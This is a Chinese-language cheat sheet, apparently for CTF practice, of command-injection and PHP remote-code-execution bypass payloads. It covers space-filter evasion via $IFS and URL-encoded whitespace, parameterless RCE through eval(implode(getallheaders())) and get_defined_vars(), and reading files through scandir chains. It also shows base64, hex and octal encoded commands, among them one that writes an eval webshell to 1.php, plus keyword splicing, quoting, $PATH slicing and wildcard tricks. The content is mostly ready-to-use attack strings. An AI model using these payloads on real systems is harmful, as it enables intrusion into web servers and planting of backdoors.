查看文件内容
more:一页一页的显示文档内容 less:与more类似,也支持翻页 head:查看头几行,默认10行 tail:查看尾几行,默认10行 cat:打印到标准输出设备 tac:从最后一行开始显示,是 cat 的反向显示 nl:显示的时候,顺便输出行号 od:默认八进制的方式读取档案内容 vi:一种编辑器,这个也可以查看返回内容 vim:这个也可以 sort:排序输出 uniq:去重输出 file -f:报错输出内容 paste -s:每列合并输出 grep .* :同样可以输出文件
空格被过滤
IFS是Linux中的一个特殊的环境变量,就是内部字段分隔符,默认下是空格、制表符、换行符。 这个是可以自定义的,像; , . : 都可以当做字符之间的分隔符 $IFS $IFS$9 后面的一位数字随便填,第二个$ 起截断作用 ${IFS} ${}之前说过,是可以解析变量的 {cat,flag.php} 用逗号实现空格作用 %09 %20 %0a %0b %0c %0d 这些就是制表符,换行键,换页键,回车键,空格键来代替空格 重定向符 cat>1.txt 标准输出重定向到文件(会覆盖原文件数据) cat>>1.txt (追加写入文件) cat<1.txt 文件内容作为标准输入 cat<>1.txt 2>&1 (标准输出和错误输出)
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{highlight_file(__FILE__);} 这题是招新时的一道题,当时可能没说明白这题 /dev/null 在Linux中代表空设备文件,向这个文件的所有写入都会丢失 2>&1 会将所有的正确和错误的输出都写入,所以返回没有任何显示,因为全部丢失了嘛 所以这道题的解法就很简单了,只需要让后面的重定向输入是空就行 ls;>/dev/null ls||>/dev/null
管道符执行顺序
echo 123| echo 456 左边的输出结果作为右边的参数输入,也就是说左右两边都会被执行,且输出只有右边 echo 123|| echo 456 这个就是"或",只有左边为假才会执行右边 echo 123& echo 456 & 还是挺常用的,前台进程丢到后台,省的开那么多终端窗口,也就是说两边也都会被执行,但是输出只有右边 echo 123&& echo 456 这个就是"且",只有左边为真才会执行右边
php中命令执行函数
system() //输出并返回最后一条语句的执行结果 passthru() //执行结果原样地直接输出到标准输出设备,浏览器页面也是 exec() //不返回执行结果 shell_exec() //通过shell环境执行命令,并且将完整的输出以字符串的方式返回,但不直接输出 popen('file','r/w')//返回一个单向的文件指针,只能用于读或写 proc_open(cmd,array)//PHP多进程 pcntl_exec(path[,args,envs])//进程控制函数,必须是可执行二进制文件的路径,args是参数,envs是环境变量 //这个函数厉害的地方在于突破disable_functions限制执行命令,通过查看phpinfo()会发现被禁用的函数很多都是常有的事 反引号`` //同shell_exec() `这里需要注意一下,只有system,passthru是有回显的,其他的函数可以通过echo显示`
无参RCE
//举个例子 if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } 无参RCE 就是传入的函数不能带有参数,像a('b')或a('b','c')这样的就不行,a(),a(b()),a(b(c()))函数嵌套是被允许的 下面介绍两种方法,无参RCE的方法比较多,因为PHP好玩的函数特别多嘛
第一种方法
getallheaders() //以数组的形式返回HTTP头信息 implode() //压缩数组,返回字符串 echo implode(getallheaders()); 抓包看看请求包和响应包 //请求包: GET /test.php HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cache-Control: max-age=0 //响应包 max-age=0?1nonenavigatedocument1closegzip, deflatezh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0127.0.0.1:8000 发现响应包返回的值就是请求头的值,所以我们如果在HTTP头加上我们的东西,是不是响应包也会带上我们的值呢 //在请求包最下面一行加上我们的HTTP头信息 Paidx0: phpinfo();// //返回响应包 phpinfo();//max-age=0?1nonenavigatedocument1closehttp://127.0.0.1:8000/test.phpgzip, deflatezh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0127.0.0.1:8000 看见 phpinfo();后面的内容被我们的值注释掉了,是不是思路来了,如果这部分交给 eval()去执行是不是就OK了 ?_=eval(implode(getallheaders()));
另一种方法
get_defined_vars() //返回所有已定义变量的所组成的数组 array(5) { ["_GET"]=> array(1) { ["_"]=> string(5) "12345" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["XDEBUG_SESSION"]=> string(14) "XDEBUG_ECLIPSE" } ["_FILES"]=> array(0) { } ["_"]=> string(5) "12345" } http://127.0.0.1:8000/test.php?_=12345 我们传进去的参数值出现在了"_GET"数组中,下面只需要从这个数组中拿值就行了 current() //输出数组指针中的当前元素的值,初始指针指向第一个单元,怎么理解呢就是每个数组其实都是有一个内部指针的,是叫句柄吧,可以通过next()向后移动这个指针,reset()重新指向第一个单元 所以 current(get_defined_vars()) 就可以拿到排在二维数组第一个的"_GET"数组了 array(2) { ["_"]=> string(5) "12345" ["a"]=> string(10) "phpinfo();" } 再用 end()拿到后面的 phpinfo(); 所以就可以是这样执行命令 ?_=eval(end(current(get_defined_vars())));&a=phpinfo();
end() - 将内部指针指向数组中的最后一个元素,并输出 next() - 将内部指针指向数组中的下一个元素,并输出 prev() - 将内部指针指向数组中的上一个元素,并输出 reset() - 将内部指针指向数组中的第一个元素,并输出 each() - 返回当前元素的键名和键值,并将内部指针向前移动
无参读文件
readfile(next(array_reverse(scandir(getcwd())))); show_source(next(array_reverse(scandir(pos(localeconv()))))); show_source(next(array_reverse(scandir(getcwd()))));
无字母数字的Webshell
常规的取反异或,自增自减,与或 //P神博客学习一下 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
构造数字
$((~$(()))) //-1 $((~$((~$(()))))) //0 $((~$(( $((~$(()))) $((~$(()))) )))) //1 $((~$(( $((~$(()))) $((~$(()))) $((~$(()))) )))) //2 $((~$(( $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) )))) //3 cat $((~$(( $((~$(()))) $((~$(()))) )))).txt 也就是 cat 1.txt
编码绕过
#base64 echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag echo "Y2F0IC9mbGFn"|base64 -d|sh //cat /flag #hex echo "0x636174202f666c6167"| xxd -r -p|bash //cat /flag #8进制,16进制 $(printf "\154\163") //ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") //cat /flag #写马<?php @eval($_POST['c']);?> ${printf "\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}>>1.php
关键字绕过
拼接绕过
a=l;b=s;$a$b #ls a=c;b=at;c=f;d=lag;$a$b ${c}${d} #cat flag a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test #cat test
引号反斜杠绕过
c''at test c'a't test c"a"t test ca\t test
$PATH环境变量绕过
echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 截取出local中的ca和t拼接 `echo $PATH| cut -c 8,9`t test //cat test cat `echo ${PATH:1:1}`.php //cat u.php
扩展符通配符绕过
cat t[a-z]st //匹配方括号中的任意一个字符,但不存在该文件时,就被当做一个普通的字符串 cat t{a,b,c,d,e}st //扩展符,不管是否存在该文件,都会展开并执行 cat tast cat tbst cat tcst cat tdst cat test